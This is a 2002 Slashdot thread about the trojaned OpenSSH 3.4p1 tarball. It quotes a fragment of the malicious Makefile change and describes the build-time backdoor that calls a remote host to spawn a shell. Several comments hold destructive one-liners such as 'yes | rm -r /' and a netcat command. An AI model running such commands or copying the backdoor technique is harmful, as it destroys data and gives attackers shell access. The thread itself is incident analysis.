OpenSSH Package Trojaned
cperciva writes "The original story is here.
And more details are available from the guy's weblog here." Here's a mirror of that email message. Another reader writes, "Not really a trojan because all it does is make a connection to 203.62.158.32:6667." Still another writes "The tarball of the portable OpenSSH on ftp.openbsd.org is trojaned. The backdoor is only used during build - generated binaries are fine." There isn't much authoritative information available, but this appears legitimate - please be careful if you're updating any of your machines with code from ftp.openbsd.org, and we'll update this story with more links as information is available. Update: 08/01 19:13 GMT by M : OpenSSH now has an advisory.
Teenagers these days don't have as much sex as they want each other to think they do.
But...they don't have enough h4x0r green to be evil. Besides, why does it connect to the ircd port?
So the sources are bad but the binaries are good? Is today bizarro-world day or something?
Why not unplug your box from the network while building? After that it should be OK, seeing as how 'generated binaries are fine.'??
:)
Or am I thinking far too simply for my own good again?
Macs as a fetish property
...that this doesn't happen more often.
./configure && make && make install.
People keep harping on about how open source software means that they can trust downloaded source code, but who actually reads through to source code for something before they actually compile?
Usually it's just
James
On the one hand, there's stories about the improved security and paranoia of OpenSSH.
;-) ]
... but he'd left the .bak files. Guess what was in the .bak files. Good, now guess how we discovered a few other potential surprises he'd left for the rest of us to encounter.
And on the other hand, there's stories like this one and that one about anti-security "features" in the same package.
Now, my question is this: is this indicative of open-source development projects, in general? [Yeah, it's faster to fix issues, but if the distros are *causing* issues in the first place, well....
Reminds me of a company I worked for that was timebombed by a previous programmer. Unfortunately for him, when we looked at the source code, all was well (he'd copied the sources back over his modified ones used in the binary build)
Anyway, I can't see how a disgruntled coder could really affect an open-source project, unless there's personality factors at play that I don't know about. Anyone have some meat on this OpenSSL mess?
.f00Dave
wouldn't be better to change the 'main' openbsd site to be one of its current mirror?
I suppose that a mirror has better chances to be managed with motivation and skill, surely more than a solaris box in a university actually has.
also, the mirror should run openbsd itself...
-- There are two kind of sysadmins: Paranoids and Losers. (adapted from D. Bach)
Also, how many people do read the makefiles before running them on your machine? And when installing binaries require root access?
If this story is really true, how much safer is open-source programs, when compared with closed source programs? Notice that even with closed source programs, *some* people will eventually discover that they are trojan or not.
¦ ©® ±
OK so they trojaned the source tar.gz, and uploaded it to the server somehow. So why did they not update the MD5SUM also?
Isn't it?
So, does apt-get use checksums and gpg signatures these days? Or are there thousands of debian machines out there just begging to be owned?
The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.
Tell me how this isn't a trojan again? A remotely controllable program that could possibly give the attacker root access?
I've had enough abrasive sigs. Kittens are cute and fuzzy.
I got my copy of the OpenSSH source from ftp.openssh.org the day it was released, and mine doesn't contain the bf-test.c file and the MD5 checksum is correct.
So if the file was modified it happen later.
But it reads from the connection and executes the read code via /bin/sh. You call this not a trojan?
-- There is no place like $HOME.
At this point I think we need to make the assumption that the problem is a bit more common than viewing these compromises individually would suggest, and perhaps these individual events can even be linked together.
And for the developers out there, I think it's time to check over all of your current distributed source tarballs.
This is the one area with open source which I am suprised has not been exploited earlier, and it's a problem I'm not sure how can be avoided.
We see that the "many eyes" on open source seems to work pretty damn quickly : but the question is, how much damage could someone do in the time it takes for people to notice? Most software needs to be installed as root, and most people blindly install software without checking the make files to see what they do. Because it is run as root, you are leaving your machine wide open to anything the trojan wants to do.
yes | rm -r /
The trouble is, a normal virus checker wouldn't be any use against this kind of trojan as most damage is caused before the trojan is noticed.
Has anyone else thought about ways to solve this problem?
The trojan is executing during BUILD ONLY. The trojan attempts to connected to an unknown daemon on 203.62.158.32:6667 (system reinstalled now and even more secured - thanks for that, ^Sarge^), and awaited one out of three characters for a command from the server it connected to - M, A and D.
/bin/sh.
:-/
M respawned the process.
A killed the trojan.
D launched
With the D command, as given _to_ the trojan, the daemon on 203:62.158.32:6667 was given control of the trojaned users system shell. As most people, unfortunally, decide to compile as root, this potentially could have given the hacker a large amount of root shells around the globe with little or no hazzle.
Funny, this is. Expect more trojans that look like this, but in a better disguise.
-- Hans.
inetnum 203.62.158.0 - 203.62.159.255
netname AUSTRALIANINTER-AU
descr Australian Internet Solutions Pty Ltd
descr Suite 3, Level 5, 277 Flinders Lane
descr Melbourne
descr VIC 3001
country AU
admin-c DA53-AP
tech-c DA53-AP
mnt-by MAINT-AU-KALED
changed register@aunic.net 19970211
changed aunic-transfer@apnic.net 20010525
changed hostmaster@apnic.net 20011115
source APNIC
person Domain Administrator
address Level 4,
address 180 Bourke St,
address Melbourne, 3000.
country AU
phone +61-3-9650-5566
fax-no +61-3-9639-1897
e-mail kaled@dalek.ains.net.au
nic-hdl DA53-AP
mnt-by MAINT-NEW
changed kaled@dalek.ains.net.au 20010619
source APNIC
This as nothing to do with OpenBSD, the trojaned package is hosted on a SUNsite, running Solaris.
Wow. And what's that big red button for ?
Oh shut up, it's more secure than any amusement-inspiring shit you run.
Ooh, someone's rattle has just been thrown out of their pram....
This has nothing to do with *BSD.
... well ... shit happens, it's still humans who are coding ...
A package was trojaned on a SUNsite. Where's BSD in this ?
BTW, OpenSSL has nothing to do with *BSD. And the bug in OpenSSH was
Wow. And what's that big red button for ?
C:\>bf-output.sh
'bf-output.sh' is not recognized as an internal or external command,
operable program or batch file
This trojan doesn't look very 31337 to me.
This comment was generated by a Squadron of Ultra Ninjas
One of the Paris mirrors seems to have a "healthy" version - if one dares believe the info on checksums.
b a8a8 openssh-3.4p1.tar.gz
r ta ble/openssh-3.4p1.tar.gz
juan:~> md5sum openssh-3.4p1.tar.gz
459c1d0262e939d6432f193c7a4
ftp://ftp.fr.openbsd.org/pub/OpenBSD/OpenSSH/po
I think that after that, they are going to ask digital signature by any of the upstream mantainers.
So, this may turn in a good thing ... if it didn't make too much damage.
Oh, and just for karma: this shows once more that security is a process more than a product.
Ciao
----
FB
So the backdoor is in the Makefile, not the OpenSSH software itself.
One thing to mention is that IMHO this is not a fault of OpenBSD. As anyone can read in their FAQ www.openbsd.org (and ftp.openbsd.org) is run on Solaris.
I should have seen this coming... Here is a copy of the weblog. It will be back after 24 hours.
/usr/ports/security/openssh-portable/ security/openssh-portable] edwin@k7>makeb le] edwin@k7>make install
a re up to date. If you are absolutely sure you want to override this
./bf-test.out &
../config.h ../config.h
:-) but if people are talking about HP-UX, Cray, ILP64 and epcdic2ascii(), I know it's either too difficult for me (You are not supposed to understand this) or it's bullshit (We can charge the phaser-array via a shortwave link through the warpcore). Time to startup vmware and run the experiment: gcc -o bf-test bf-test.c.
:-)
:-). The head-guy of the OpenBSD team is living in Canada and they're now sleeping there. I've spend a couple of days on #freebsd on irc.openprojects.net, so I just tried #openbsd.
:-)
01 August 2002 - 19:10:23 - OpenSSH 3.4p1 package trojaned
And all I was thinking was "Oh! I should upgrade ssh on these two machines before there are problems...". The beauty of FreeBSD is that it goes like this:
[~] edwin@k7>cd
[/usr/ports
[/usr/ports/security/openssh-porta
Easy euh? It went well, except for the second step:
===> Extracting for openssh-portable-3.4p1_7
>> Checksum mismatch for openssh-3.4p1.tar.gz.
Make sure the Makefile and distinfo file (/usr/ports/security/openssh-portable/distinfo)
check, type "make NO_CHECKSUM=yes [other args]".
*** Error code 1
Euh... I didn't remember seeing a change in the FreeBSD ports regarding this. And I didn't see an announcement for it from the people from OpenSSH... Oh well, it happens. I downloaded the new openssh-tarball:
-r--r--r-- 1 12187 mirror 840574 Jul 31 16:47 openssh-3.4p1.tar.gz
-r--r--r-- 1 12187 mirror 232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig
That's weird, they've rerolled the tarball without updating the signature file. I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, he had a checksum mismatch.
Curious as I was, I extracted the old and new tarball and this were the differences:
[~/test] edwin@k7>diff -r -u openssh-3.4p1-old openssh-3.4p1
diff -r -u openssh-3.4p1-old/openbsd-compat/Makefile.in openssh-3.4p1/openbsd-compat/Makefile.in
--- openssh-3.4p1-old/openbsd-compat/Makefile.in Wed Feb 20 07:27:57 2002
+++ openssh-3.4p1/openbsd-compat/Makefile.in Thu Feb 1 08:52:03 2001
@@ -26,6 +26,7 @@
$(CC) $(CFLAGS) $(CPPFLAGS) -c $bf-test.out; sh
$(COMPAT):
$(OPENBSD):
Only in openssh-3.4p1/openbsd-compat: bf-test.c
At this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, also a checksum mismatch. Time to go deeper into it...
bf-test.c is a weird file. It talks about HP-UX PL.2 systems, it talks about _CRAY notes, it talkes about none-T3E machines, it talks about _ILP64__ and it does an epcdic2ascii() call. I'm not very skilled in computers (well, I am
bf-test itself is pretty harmless, it only prints things to the screen (remember the change in the makefile? execute, redirect the output and execute the output). The shell script it prints creates a C program and tries to compile it. If it doesn't succeed at first, it tries to link other libraries (everybody who has ever ported a Solaris knows that you have to explicitely link to libresolv et al). So it's cross-platform
The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.
While analyzing the code on #sage-au and mentioning the hostname, ^Sarge^ looked strangely at me (well, it's IRC so you never know but that's what I would do): "That is my machine.". The good news is that I didn't have to worry about finding out who manages the machine!
The next step is to inform somebody who manages the openssh-packages: The OpenBSD team. Up to right now, I have had no experience with the OpenBSD team (if you check my website you'll see that I'm more a FreeBSD guy
*** MavEtJu has joined #openbsd
Euh... anybody from the openssh-team here?
I have some news for you...
What's up?
I have contact! Marius asked me the standard questions (how did you find out, how can I see it, when did you find out) and after some investigation he said "I think I'd better call (and now I have forgotten the name)". Coolies! I think I found a right person to talk to! It looks like things are going to roll now, I can take my hands of it.
The last things I did were writing some emails to a couple of mailinglists and guide ^Sarge^ to #openbsd. For the rest I wasn't of very much use anymore, so I just kept monitoring #openbsd. And the logfile of my website, which went ballistic.
Aftermatch
* The portable version wasn't the only which was trojaned, the normal version was also.
* It seems it took only six hours before somebody was alert enough to see that there was something wrong, all thanks to the checking of the MD5-checksum [insert a sweet 'aaaaaahhh' here]
* OpenSSH itself wasn't trojaned, the tarball was. There is nothing wrong with OpenSSH itself (this time
* The building of a port (under FreeBSD at least) is done as root with all its privileges. This is a wrong approach. For a time I tried, as an experiment, to build ports as user "port". This worked fine except for the "make clean" part, in which I couldn't remove the files created during the "make install" phase and the files which were made during the building of the RUN_DEPENDS ports.
bash$
I wonder what what would happen if someone was installing Gentoo? :) Shitty deal if you ask me
"I believe in everything in moderation. Including moderation." -Dean DeLeo, Stone Temple Pilots
This incident is not the fault of OpenBSD. Check their FAQ, www.openbsd.org (and so ftp.openbsd.org) is run on Solaris.
...for hosting ftp.openbsd.org on a box running SunOS, not OpenBSD!
I am security conscious... and I am sticking with OpenBSD. It is still a strongly fortified OS. All of this software is secondary to the core OS.
OpenSSL is outside of OpenBSD, and has nothing to do with them. Everyone got affected the same.
They found the first remote exploit to affect OpenSSH in a long time (years) recently. Most people weren't affected. Ironically, it was OpenBSDs extra secure defaults that were vulnerable. Shit happens. The community was quick to patch their systems. Is Linux dying because it can be raped every week?
It appears the trojan was inserted after the initial release. So someone may have broken into the server. I believe the server is at the University of Calgary. Not Theo De Raadt's basement.
Why don't we wait to find out what happened? I guarantee this isn't being taken lightly.
Thanks
"The future comes 60 minutes an hour no matter who you are or what you do." The Screwtape Letters - C.S. Lewis
It's not in any trouble at all.
OpenBSD is less of a fortress and more of a flexible defense. In this case, even though the integrity of the centralized source code was compromised, any end-user who accessed it via the ports tree was immediately tipped off that something wasn't kosher. They could then communicate this to other users and the maintainers of OpenBSD and thus make this attack known to the public within hours of it happening. And due to the ease of updating that the ports tree provides, the maintainers of OpenBSD can correct this problem very quickly. This sort of suppleness provides for the best kind of broadband defense, whereas a "fortress" cannot brook much weakness in any of its parts and is far more brittle. Had users not been able to see the disparity (via MD5 sums), or not been able to communicate it to their fellow users, or not have been able to easily obtain a clean copy, then the problem may have been easily transmitted to a large number of operating OpenBSD machines. As it was, the problem got nipped at the bud.
This event would be the sort of reason why security-conscious people should stick with OpenBSD.
-- "Sucks to your ass-mar"
It was "no remote holes in 5 years". Now it's "one remote hole in the default install, in nearly 6 years!"
Next it will be "one remote hole and one 'harmless trojan' in the default install, in really very close to 6 years!"
How many companies are going to tell a new programmer to go ahead and spend 6 months reading through all the code? How many companies encourage all the programmers to look at old code, check every line every couple weeks and perform extensive regression testing? From my own experience, few companies look at old code and the regression testing is typically a narrow focus on the functional aspects. Things like a trojan aren't going to be caught by the typical regression testing procedures.
On my free time, I do read through open source code for fun. From my own biased experience, open source code tends to be much cleaner and better documented than closed source projects. This isn't including all the PERL code I've seen written in creative ways to make visual art. I've also seen clean PERL code, but that's another story. Back to the point. Persistence is what wins in the end when it comes to security. The minute a person get lazy is when an attack will happen. But I seriously doubt this will change in the near future, since it's really a matter of culture. Businesses can't afford to have a team of programmers to sit around and audit their security every couple months. So unless our culture changes and realizes quality is more important than convienance, things like this will continue to increase in frequency. Of course everyone living in a modern techno society is guilty of it. But that's not to say technology is the cause of it, though they are related.
If there would be some configure/make environment that prevents or asks before outgoing connections and checks for possibly dangerous commands, that are unusual to call upon a ./configure run, wouldn't that prevent things like this to happen again?
The package _was_ quality checked prior to release. A previous post mentioned that the tarball was compromised on or about July 31.
That is, the compromised package was put in place long after this release had been officially released.
-- clvrmnky
to subscribe to Bugtraq
It's funny cause I actually saw this appear on NANOG first.
SealBeater
-- Its survival of the fittest...and we got the fucking guns!!!
Ever heard of the "security patch" for XP and Media Player? Right in the EULA you give Micro$loth admin rights to your machine - hell, they put it in clear english! I'm sorry, but a media player should not be able to root the box, period. And the "fix" itself could be considered a trojan - one with a legal EULA to boot!
So you must not run XP, right? I know a guy who firewalls his XP box, not so much to keep others out, but to keep data in! He uses egress filters to stop unauthorized outgoing traffic. And, yes, XP tries to report back to Redmond.
This rogue code was caught within 6 hours. It would take at least 6 days for M$ to even admit that the trojan existed (that is, if they would admit to it at all). Micro$loths security record is hardly something to brag about. On the other hand, OpenBSD's record up til recently has been very impressive, to say the least.
Without those checksums, the trojan might have done much more damage.
I download lots of tarballs from sites that provide a sum file as well. Presumably, you check the file to make sure it's checksum matches that in the sum file. If it does, you should be good to go.
So, in this case, couldn't someone just as easily generate an md5 sum for the hacked file and put that in the sum file? I know on bsd you have ports which would prevent this, but what about Linux? Everything would seem kosher if the hax0r replaced the sum file...
thx for responses.
It seems like we need to start using a "web-of-trust" based PKI solution, like OpenPGP. And educating users to actually check the signatures!!!
On a related note, does Debian use anything to prevent this from happening? I for one don't worry too much when doing an update, maybe I should...
--
Adam Sherman
Freelance Geek
Once again I call people's attention to GPG, which can be used to digitally sign source code. Then, if something is trojaned, you know who to blame for including the bum code.
The Right Reverend K. Reid Wightman,
OpenSSH is a subproject of the OpenBSD project.
The OpenBSD version (the refrence version) of SSH is unaffected by this trojan.
Conformity is the jailer of freedom and enemy of growth. -JFK
I was wondering the same thing. How did the file get uploaded to the ftp server? Who did it? And can they be prosecuted?
-- Thou hast strayed far from the path of the Avatar.
The IP address is of the machine which was hosting the ssh tarball. The attacker was obviously hoping to 0wn the machine and then pick up all the incoming connections.
$ hostinfo -n 203.62.158.32
snsonline.net
$ whois 203.62.158.32
% How to use the APNIC Whois Database www.apnic.net/db/
% Upgrade to Whois v3 on 20 August 2002 www.apnic.net/whois-v3
% Whois data copyright terms www.apnic.net/db/dbcopyright.html
inetnum: 203.62.158.0 - 203.62.159.255
netname: AUSTRALIANINTER-AU
descr: Australian Internet Solutions Pty Ltd
descr: Suite 3, Level 5, 277 Flinders Lane
descr: Melbourne
descr: VIC 3001
country: AU
admin-c: DA53-AP
tech-c: DA53-AP
mnt-by: MAINT-AU-KALED
changed: register@aunic.net 19970211
changed: aunic-transfer@apnic.net 20010525
changed: hostmaster@apnic.net 20011115
source: APNIC
person: Domain Administrator
address: Level 4,
address: 180 Bourke St,
address: Melbourne, 3000.
country: AU
phone: +61-3-9650-5566
fax-no: +61-3-9639-1897
e-mail: kaled@dalek.ains.net.au
nic-hdl: DA53-AP
mnt-by: MAINT-NEW
changed: kaled@dalek.ains.net.au 20010619
source: APNIC
I've apparently triggered the lameness filter with this... BTW, I can ping this host, so it's still up. However:
$ telnet 203.62.158.32 6667
Trying 203.62.158.32...
telnet: Unable to connect to remote host: Connection refused
Looks like they closed that port?
________________________________________________
suwain_2
Here is an nmap dump of the IP in question that
the backdoor tries to connect to:
nmap options (where options is filtered by Slashdot)
ALRIGHT FSCK THIS!! You'll just have to take my
word for it the nmap showed the port closed (do it yourself) I've just tried 10 different ways to submit the nmap output and the lameness filters won't let it through.
Note that port 6667 does not appear to be open, although a backdoor is still a pretty big thing
to worry about. Also note that much of the output
is cut out due to LAME Slashdot filters.
AntiFA: An abbreviation for Anti First Amendment.
Are you saying it's not the fault of the OpenBSD OS or the OpenBSD team?
If they are the ones managing the box, why aren't they securing it? If they aren't in a position to manage the box, why are they even using it?
Also, nobody has done a report on how the trojan was uploaded, so we can't say for sure it was the fault of the OS. It could have been a sniffed password, or social engineering, or whatever.
These guys do good work, but don't discredit the possibility that they make mistakes themselves once in awhile.
Bugtraq is not the only one in the world you know?
rm -rf /home/leia
There are many big corps (those whose ticker symbol is only one or two letters) who are using OSS.
If they have a competent IT organization they have a team that will check that the software does not make any funnies.
Add to that just curious people, people modifying the software to their own needs, etc. and you get an army of people looking for problems and improvements.
That beats CSS in many instances (not all certainly), does not seem any worse and is more reassuring (the people evaluating normally do not have a vested interest in making the software work other than to satisfy their own needs).
IANAL but write like a drunk one.
Check out this little snippet (the whole message can be found on lwn.net) from an email from Theo:
We've been trying to warn vendors about 3.3 and the need for privsep, but they really have not heeded our call for assistance. They have basically ignored us. Some, like Alan Cox, even went further stating that privsep was not being worked on because "Nobody provided any info which proves the problem, and many people dont trust you theo" and suggested I "might be feeding everyone a trojan" (I think I'll publish that letter -- it is just so funny).
Please do publish that letter, Theo. That would be very interesting.
PU
--Lawrence Lessig for Congress!
check out this bugtraq posting for a small analysis of the trojan.
This is the second problem with OpenSSH in a few months, and OpenSSL was exploited just a few days ago
a) OpenSSL != OpenSSH
b) OpenBSD and OpenSSH both still have excellent track records compared to your average Linux[0] distribution.
c) If OpenSSH is really that much of a hole, write something better
[0] This is not a troll, it's reality. However being slashdot I'm sure to take a few karma hits for daring to speak like this..
Trolling is a art,
How does one QC a binary package everyday?
Besides, the comprimised server is sunOS 4.1, not openbsd brainiac.
My major gripe is that most of us lazy bastards (he, me too!) will compare:
Like, if I were a Trojan cracker I wouldn't make sure to regenerate the md5sum on the web page to match up perfectly with the new tar ball!
If someone can replace blah.tar.gz they have a fair chance at being able to replace a blah.html file.
It really points up how good security for distributed packages depends on getting signatures and hashes distributed out to lots of different places in lots of different ways to make it much more difficult for a Trojan author to compromise that many different independent points of verification.
If we don't bother to use distributed verification to check the authenticity of our software, then we have only ourselves to blame for the consequences.
"Provided by the management for your protection."
Maybe it a conspiracy, but there is a small but perfectly viable chance that the person discovering an exploit would be on an IRC channel at the same time as the person whos box had been owned. Statistically it is bound to happen every now and again.
As it seems to happen more and more often that ftp servers get cracked and md5sum's don't seem to help (since users are to lazy to check them and the gpg signatures), could peer2peer services provide a solution? With things like GnuNET you don't download an URL, but instead a checksum. So there wouldn't be an easy way to replace a file in a single location, but one would need to spread a fake md5sum and make people belive that the fake one is the real one. With peer2peer systems there wouldn't be a single point of failure, where the file could get trojaned, once the correct md5sum is spread in the public it would be nearly unchangable. It would also be impossible to hijack mirrors or that trojaned files would be mirrored, since mirroring would be handled by the network itself, not by people. Well, its just an idea, but GnuNET and Co. seem to have a much more straight forward way of handling checksums, than you can ever get with http or ftp at the moment.
So, it was introduced, caught and demonstrably fixed in under 24 hours, with full disclosure and openness at every step. Excuse me if I see no cause for panic.
And can anyone explain how this is even in the same ballpark as the "w3 0wnz j00r b0xen" EULA's, 'phone home's and brazenly trojan updates that Microsoft are inflicting on their customers?
If you were blocking sigs, you wouldn't have to read this.
Who did it? And can they be prosecuted?
Gee, why would you want to do that? I thought everyone who broke into insecure systems was a good-natured Robin Hood, a "white hat" who was just trying to help the poor stupid admins out of the goodness of his or her heart.
Now you're telling me that these people might be malicious?
--saint
(This is the royal "you", of course, referring to the Slashbot Collective. I've got nothing against dfn5 personally.)
GPG signatures should be incorporated into gentoo.
People say this is not a fault of OpenBSD because openbsd.org runs on Sun Solaris
I wonder who said that Sun boxes can be owned , they cant be trusted ?
Or I never heard someone say "Oh its solaris it can be hacked"
Or did you ever see Bill G. says : "This site runs on Windows dont blame me!"
Never learn by your mistakes, if you do you may never dare to try again
That goes for source distributions like gentoo also. What happens if someone puts out a dirty ebuild?
you keep telling yourself that. "microsoft may have access to my email and personal information, but they'd never share that with the government, if they asked" never.
I'm one of the admins for SunSITE Alberta which houses openbsd.org. I just checked the file currently available for download and it seems to be clean. The MD5SUM matches up, as well as extracting and looking at the source bf-test wasn't present.
This really sucks since I woke up only like 10 minutes ago and find that the most downloaded file from your site may be trojaned. I have a distinct feeling that the rest of my day isn't going to be much better.
The bothersome thing about this is that someone got into the site (aka: sunsite.ualberta.ca) and managed to modify source tarballs. I'm now wondering:
Free Software: Like love, it grows best when given away.
Since the trojan dies if it sees an A first thing, obviously the guy running the box it's trying to contact should run something like this:
yes "A" | nc -p 6667
Then every daemon that connects gets an A right away, and thus dies. End of problem.
At least mafia-owned pizzarias make excellent pizza. Compare to Bill Gates.
End result: no one in Gentoo has been able to compile/emerge openssh for the last few days.
Which is good :-)
look at the snipped trojaned code:
switch(c) {
case 'A':
exit(0);
case 'D':
break;
case 'M':
break;
How many options there? 3
What are they? A,D,M
A+D+M = ADM!!!!!!!!!!!!!!!!!!!!!
They'r back or so ehehe..
Or somebody is using their name. I don't have any chance to confirm this. Anybody?
evrim.
Evrim ULU sysadm http://www.core.gen.tr
In particular, if the machine in question is a server (usually the reason you have SSH on a box), you should make every possible effort to remove outgoing traffic. There's usually no reason for a server to create outgoing connections to the internet, and if it needs to connect to any specific local resources (e.g. a database machine), limit the iptables/routers appropriately.
Neither will the guy who set up this trojan, since it was caught and removed within 6 hours of being inserted.
- jon
Ganymede, a GPL'ed metadirectory for UNIX
I might be showing my cluelessness here, but if this is done during the compilation, then this isn't as critical as it might be. I mean, I don't configure or compile any apps as root; so even if there is a remote shell opened on my machine, it only has luser access. (Which still sucks, but is not nearly as bad as a free root shell!)
Friends don't let friends compile as root.
"One remote hole in default install, in nearly 6 years". Two if you install new ssh.
It seems if you rebuilt from source and rebooted witihin an hour no time was spent on discovering how the cracker rooted the box in the first place.
If the cracker rooted openbsd.org through this box, then any evidence of the attack would have been wiped, wouldn't it?
Or is there still a chance on finding out who was behind this and how it happened? Firewall logs maybe?
"At this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, also a checksum mismatch."
The trojan connects to 203.62.158.32, eh?
> nslookup 203.62.158.32Server: dns2.intra
Address: 10.16.59.15
Name: snsonline.net
Address: 203.62.158.32
>
Chuck Norris: Socialism == a thousand years of darkness.
From freebsd-security mailing list. I am not sure this is for real or fake
/root/upgrades]# tar -tzf openssh-3.4.tgz | grep bf /root/upgrades]# head -5
/*
* Blowfish input vectors are handled incorrectly on HP-UX PL.2 systems.
/Chad
I just upgraded my OpenBSD 3.0 machine to OpenSSH 3.4 last night.
I downloaded openssh-3.4.tgz ( notice not p1 ). The MD5 I got was
MD5 (openssh-3.4.tgz) = bda7c80825d9d9f35f17046ed90e1b0a
And look :
[root@superfrink
ssh/ssh-keygen/bf-test.c
And then:
[root@superfrink
ssh/ssh-keygen/bf-test.c
* Perform routine compatability checks. */
#include
So I guess It's not just openssh-3.4p1.tar.gz that is trojaned.
Never learn by your mistakes, if you do you may never dare to try again
In response to b), OpenSSH, apache, exim, and the kernel's firewall code are all that matter on my Linux box, because nothing else is accessible to the Internet. And of those four, OpenSSH/OpenSSL have been by far the most problematic lately.
In response to c), good point. And thankfully you don't see any rants about holding somebody "liable" for these mistakes, do you? The question is whether OpenSSH is technically sound, and there's nothing wrong with discussing that.
Step 1: Read Ken Thompson's Turing Award lecture "On Trusting Trust"
http://www.acm.org/classics/sep95/
Step 2: Decide for yourself if you're ready for the tinfoil-helmet brigade.
Step 3: Type 'make world' if you dare.
...and don't trust the OpenSSL advisory sent out to Bugtraq by a "Ben Laurie". It's not signed, so I can't show that he wrote it. Apparently, it's trivially possible to get a trojaned tarball installed in mirrors everywhere, so that it is mirrored on "official" sources does not help. Is there any reason to believe the OpenSSL advisory other than its mention on their webpage (which could also be hacked as they're running Apache 1.3.6 which could have the chunked bug?)
:)
(this has turned in to quite the rant. sorry.
a) True enough, but the poster I was replying to was questioning if OpenBSD was in trouble because of the issues with OpenSSH and OpenSSL. If all the OSs that used OpenSSL were in trouble, we'd be wearing Borg implants.
b) If possible, it's not a bad idea to firewall SSH access to only those machines that require it[0]
c) Nothing at all wrong with discussing technical merits and shortcomings. Insinuating that OpenBSD is in trouble because of a few blemishes (as the original poster did) is silly IMHO.
[0] I'm a TinFoilHat OpenBSD user. A remote box I run only has SSH accessible through the VPN. IPSec'd SSH sounds like overkill, but I sleep very well.
Trolling is a art,
another more likely possability would be that he was using passwordless authentication. so by rooting a box he has access to, the cracker could ssh to any other computer/user with his public key in the authorized_keys file. they could also scp the trojaned file in the same manner. this is not very unlikely.
-- john
I am afraid you are totally wrong, this could happen in open-source enviroments but also in closed development enviroments. The big difference is than i a closed-source project you even do not realise that you have been trojaned!!!
And how am I "totally wrong"? The timebomb I described *was* a closed-source project. Closed-source doesn't meant no-source, it merely means that the access to it is limited to some extent.
Knee-jerk reactions like yours don't help the 'cause' of Open Source development. Next time please take a deep breath and think about how your post will be interpreted before you send it. Thanks.
.f00Dave
too many people are making assumptions. all we know is that the machine was wiped and reinstalled. he could have backed alot of relivent info before he wiped it. this would allow him to fix the computer, get it back up, and inspect the info later at his leisure.
i would wait until more information is available before jumping to what i would consider to be a silly conclusion.
-- john
Gee, why would you want to do that? I thought everyone who broke into insecure systems was a good-natured Robin Hood, a "white hat" who was just trying to help the poor stupid admins out of the goodness of his or her heart.
:) *sorry, joke*
Enough sarcasm, this *was* malicious simply because this could have been a setup for a DDoS attack.
Theres a big difference between breaking into a system then reporting the issue to the admin, and breaking into a system via a trojaned makefile/config only to gain root/user shell access for no other reason than to use them for some other purpose.
now you know the difference between black hat, and white hat.
of course then you have those individuals that make tools that encompass an entire OS, leaving the original interface a complete mystery to the user. These hackers are known as red hat
-- This space for lease, low setup fee, inquire within!
Alan Cox was calling Theo to task because he didn't like how Theo concealed the exact security problem until a workaround was given out. This is an attitude some developers have. It's not the best attitue from a customer/end-user standpoint, but some people who write code and give it for free use still don't understand it. Alanx Cox sounds like, despite him being a valuable asset to the community, he does not understand this.
If he'd have said, "for all we know, OpenBSD could attract near-earth bodies" would you post this comment as "eerily prescient" on the recent asteroid stories? Sometimes things just aren't related. Despite what Mulder may think.
--
Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
and that your password on a server is m@st3rb@t10n.
Hell, screw the NSA... any script kiddie could find that out through telnet.
Besides, when was the last time your wife typed for you to pick up a bottle of milk on your way home through telnet?
-- This space for lease, low setup fee, inquire within!
The md5sums are not enough. Someone trustworthy[1] should
u bl ickey.html
sign the package and then make the public key available
from various other trustworthy sources (three, at least).
Red Hat does this *right*:
http://www.redhat.com/solutions/security/news/p
Both the openssh and openssl people have to make pages like
the one above. If such pages do exists please pretty please
post them here because I haven't seen them. Where are the
"official" openssh and openssl public keys? They are not
mentioned anywhere on either sites' pages!
[1] The definition of "trustworthy" is not trivial. Personally,
a public key found on both the Red Hat site *and* a
box-wrapped CD qualifies. YMMV.
Also apt seems to have signed packages, but seems to be not widely used, as you can see here: http://www.kitenet.net/~joey/pkg-comp/#foot1
I downloaded the portable version of OpenSSH 3.4p1 pretty much as soon as it was released from ftp.openssh.com, and it's got the correct MD5 sum.
The timestamp on my copy of the openssh-3.4p1.tar.gz file is June 26th.
Anyone know when the trojan file was put in place?
Can you give more info about the necessary measures to prevent an XP box from phoning home? I have an OpenBSD firewall at my disposal, and love to take a look at what my workstation is trying to do.
This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD ports system: ...
This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:...
And we know you're not the cracker, and we should believe you because ... oh, it's posted on /. so it must be true.
pr0n - keeping monitor glass spotless since 1981.
I don't think these bugs are symptoms of a systemic problem.
This trojan disturbs me a bit more than those bugs buried in thousands of lines of code. I guess I expect the OpenBSD guys to be good sysadmins, since, well, it just seems like something that should be their bag, baby. And maybe some will disagree with me, but I think that securely adminning a box is easier than writing secure code. (Maybe I'm just prejudiced because I'm a programmer. ;-)
If a trojan got onto OpenBSD's own FTP server, it means that somebody fucked up. Maybe they're not keeping their box up-to-date with the latest fixes. (And it looks like they're not "eating their own dog food," and eating Sun dog food instead. That is ridiculous.) Or maybe, worst of all, some black hat knows about a hole that nobody else knows about. I don't know; I just know I really don't like this. I hope they get on the ball, regarding their unsecure server, muy pronto.
